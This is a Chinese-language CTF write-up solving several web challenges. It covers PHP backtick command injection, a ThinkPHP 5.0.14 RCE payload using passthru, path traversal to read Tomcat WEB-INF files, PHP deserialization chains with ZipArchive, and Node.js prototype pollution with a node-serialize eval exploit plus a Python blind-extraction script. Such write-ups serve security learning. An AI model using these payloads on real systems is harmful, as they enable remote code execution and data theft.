文章目录

little_trick

打开环境发现代码是这个,太简单了,签到题

<?php
error_reporting(0);
highlight_file(__FILE__);
$nep = $_GET['nep'];
$len = $_GET['len'];
if(intval($len)<8 && strlen($nep)<13){
eval(substr($nep,0,$len));
}else{
die('too long!');
}
?>

这里是利用php反引号执行系统命令的特性解决,有两种解法,我这里只写一个最骚的,这里需要开两次靶机

url?nep=`ls>1`;&len=7
得到
1
index.php
nepctf.php
url/?nep=`>cat`;&len=7
url/?nep=`*>1`;&len=7
这里*>1等价于cat index.php nepctf.php> 1,linux小trick记住就好,因为linux文件系统默认从数字小写字母到大写字母升序排列

这道题就做完了,没啥难度嘿嘿

faka_revenge

题目给了我们一个附件,下载下来发现是ThinkPHP,那直接全局搜索​​THINK_VERSION​​,发现版本是5.0.14这么低不一把嗦?

http://e266f985-936c-4e3e-a4ae-d5ab0a0d6036.node5.hackingfor.fun/?s=index/index
post数据
s=whoami&_method=__construct&method=POST&filter[]=passthru

发现system被禁用了,然后shell_exec没反应
经过本可爱的精心测试,得到​​​passthru​​​没被过滤
因此paylaod为

s=cat /zhangsan*&_method=__construct&method=POST&filter[]=passthru

Easy_Tomcat

首先打开环境以后,发现登录框,根据逻辑猜测得到三个地址

admin.jsp index.jsp register.jsp

我在注册以后发现,猜测存在任意文件读取

username=11&password=1&head_path=static/img/1.png

经过我的测试发现head_path参数前面必须为static/img/并且最多向上穿越两层目录,可是这已经足够了,我们根据javaweb的目录结构(不懂百度),可以直接第一步去拿web.xml文件,多说一句如果可以跳三层我们甚至可以直接拿到war文件​​Easy_Tomcat.war​​​或者叫​​ROOT.war​​这是啥请百度

username=11&password=1&head_path=static/img/../../WEB-INF/web.xml

得到

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<servlet>
<servlet-name>LoginServlet</servlet-name>
<servlet-class>javademo.LoginServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>RegisterServlet</servlet-name>
<servlet-class>javademo.RegisterServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>AdminServlet</servlet-name>
<servlet-class>javademo.AdminServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>InitServlet</servlet-name>
<servlet-class>javademo.InitServlet</servlet-class>
<load-on-startup>1</load-on-startup>

</servlet>
<servlet-mapping>
<servlet-name>LoginServlet</servlet-name>
<url-pattern>/LoginServlet</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>RegisterServlet</servlet-name>
<url-pattern>/RegisterServlet</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>AdminServlet</servlet-name>
<url-pattern>/AdminServlet</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>InitServlet</servlet-name>
<url-pattern>/InitServlet</url-pattern>
</servlet-mapping>
</web-app>

根据javaweb的目录结构我们可以把所有的.class文件下载下来,以及jsp文件下载下来开始审计
放两个参考payload

username=11&password=1&head_path=static/img/../../index.jsp

username=11&password=1&head_path=static/img/../../WEB-INF/classes/javademo/AdminServlet.class

之后我在InitServlet发现了admin的密码

public class InitServlet extends HttpServlet {
public void init() throws ServletException {
List<User> list = new ArrayList<>();
User admin_user = new User();
admin_user.setUsername("admin");
admin_user.setPassword("no_one_knows_my_password_75767388428345");
list.add(admin_user);
getServletContext().setAttribute("list", list);
}
}

登陆进入admin.jsp,我之后审计了所有页面无逻辑漏洞,考虑组件本身漏洞,在AdminServlet.java当中发现

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

接下来无脑试一试fastjson1.2.47漏洞,成功了,我这里不想写太多,我之前也复现了,

之后flag在根目录​​cat /flag*​​即可

bbxhh_revenge

非预期

之前flag直接在phpinfo当中,这个页面每访问一次就ban我ip,我节点多,一个一个换发现传image后提示让传 ?nepnep=phpinfo();继续传参,后提示post传HuaiNvRenPaPaPa,构筑payload

http://node4.hackingfor.fun:36474/index.php?nepnep=phpinfo();&imagin=phpinfo();

post
HuaiNvRenPaPaPa=1

最后flag存在phpinfo内。

预期

有空做,现在忙着其他事情

梦里花开牡丹亭

首先题目一进去就给了源代码,简单的分析一下

首先是Game类,有个wakeup和destruct方法,里面有个21232f297a57a5a743894a0e4a801fc3,在线解密得到是admin

通过简单分析很容易得出应该是利用​​shell($content);​​去执行任意命令,因为waf.txt的存在只能调用file_get_contents函数,因此我们读一下shell.php的

<?php
class Game{
public $username;
public $password;
public $choice;
public $register;
public $file;
public $filename;
public $content;
public function __construct()
{
$this->username='admin';
$this->password='admin';
$this->filename='shell';
$this->content='phpinfo();';
$this->register = 'admin';
$this->file=new Open();
}

}
class Open{

}
class login{
public $file;
public $filename;
public $content;

public function __construct($file,$filename,$content)
{
$this->file=$file;
$this->filename=$filename;
$this->content=$content;
}

}

$a = new Game();
echo base64_encode(serialize($a));

要删除waf.txt只能想到原生类了查找能有删除功能函数,盲猜带open

<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__wakeup',
'__call',
'__callStatic',
'open'
))) {
print $class . '::' . $method . "\n";
}
}
}

得到ZipArchive刚好符合,可以删除waf.txt

<?php
class Game{
public $username;
public $password;
public $choice;
public $register;

public $file;
public $filename;
public $content;

public function __construct()
{
$this->username='admin';
$this->password='admin';
$this->filename='waf.txt';
$this->content=8;
$this->register = 'admin';
$this->file=new ZipArchive();
}



}
class Open{

}
class login{
public $file;
public $filename;
public $content;

public function __construct($file,$filename,$content)
{
$this->file=$file;
$this->filename=$filename;
$this->content=$content;
}

}

$a = new Game();
echo base64_encode(serialize($a));

然后就可以执行任意命令

<?php
class Game{
public $username;
public $password;
public $choice;
public $register;

public $file;
public $filename;
public $content;

public function __construct()
{
$this->username='admin';
$this->password='admin';
$this->filename='shell';
$this->content='ls /';
$this->register = 'admin';
$this->file=new Open();
}



}
class Open{
function open($filename, $content){
if(!file_get_contents('waf.txt')){
// shell($content);
}else{
echo file_get_contents($filename.".php");
}
}
}
class login{
public $file;
public $filename;
public $content;

public function __construct($file,$filename,$content)
{
$this->file=$file;
$this->filename=$filename;
$this->content=$content;
}

}

$a = new Game();
echo base64_encode(serialize($a));

通过​​php /flag​​​绕过过滤hhh
或者​​​sh /flag​​报错信息出flag,还有其他姿势不说了

gamejs

首先看到名字我们不难想到是nodejs,常规套路是拼接source拿到源代码,发现三个路由

app.post('/record', record);
app.get('/', index);
app.get('/source', function (req, res)

然后我一眼看到了最上面有一个merge函数,肯定有原型污染

index页面是那个游戏,没啥好分析的

source页面更不用说了

那就只剩一个record路由了

var score = req.body.score;

通过post传入数据,配合原型污染用application/json格式的,既然用了json格式,那么下一行的绕过更简单了

score.length < String(highestScore).length

因此我们传入,即可绕过了,其实也可以数组绕过,但是不好配合原型污染

{"score": xxxx, "length": 1}}

之后看下一行,先放在一边

merge(record, {
lastScore:score,
maxScore:Math.max(parseInt(score),record.maxScore),lastTime: new Date().toString()});

再往下,猜测要执行关键函数unserialize,因此必须绕过这个if,不过我们传入的是json数据自带绕过,以为结果是NaN因此直接绕过了

if ((score - highestScore) < 0) {
var banner = "不好,没有精神!";
} else {
var banner = unserialize(serialize_banner).banner;
}

我们再看unserialize函数这里有一个eval函数可以命令执行

if (validCode(func_code)){
var d = '(' + func_code + ')';
obj[key] = eval(d);
}

再跟踪validCode函数发现只是过滤明文,这里可以十六进制绕过

var validCode = function (func_code){
let validInput = /subprocess|mainModule|from|buffer|process|child_process|main|require|exec|this|eval|while|for|function|hex|char|base64|"|'|\[|\+|\*/ig;
return !validInput.test(func_code);
};
var validInput = function (input) {
let validInput = /subprocess|mainModule|from|process|child_process|main|require|exec|this|function|buffer/ig;
ins = serialize(input);
return !validInput.test(ins);
};

因此构造类似这样即可,简单分析可知需要套两层​​__proto__​​进去

{"score": {"__proto__": {"__proto__": {"jrxnm": "_$$ND_FUNC$$XXXPAYLAOD"}}, "length": 1}}

因为没有回显,这里采用报错方式配合二分法获得flag

a = '69662870726f636573732e6d61696e4d6f64756c652e726571756972652822667322292e7265616446696c6553796e6328222f6574632f70617373776422292e746f537472696e6728295b305d3e227a22297b7d656c73657b7468726f77204572726f7228297d'
res =""
for i in range(0,len(a),2):
res += "\\\\x"+a[i:i+2]
print(res)

因此得到

import requests
import time
import string
import json

url = "http://467df204-a224-4b61-8ae6-48637aa91cee.node5.hackingfor.fun/record"


def deco(idx, c):
p = ''.join(['\\x' + hex(ord(i))[2:] for i in
f'if(process.mainModule.require("child_process").execSync("cat /flag").toString()[{idx}]>"{c}"){{}}else{{throw Error()}}']);
r = {"score": {"__proto__": {"__proto__": {"banner1": "_$$ND_FUNC$$_``.constructor.constructor(`" + p + "`)()"}},
"length": 1}}
return r


flag = ''
for i in range(0, 1000):
max = 127
min = 32
while max >= min:
# print(str(max)+"-------"+str(min))
mid = (max + min) // 2
r = requests.post(url, json=deco(i, chr(mid)))
if "broke" not in r.text:
min = mid + 1
else:
max = mid
if max == mid == min:
flag += chr(mid)
print(flag)
break
if '}' in flag[:-1]:
exit()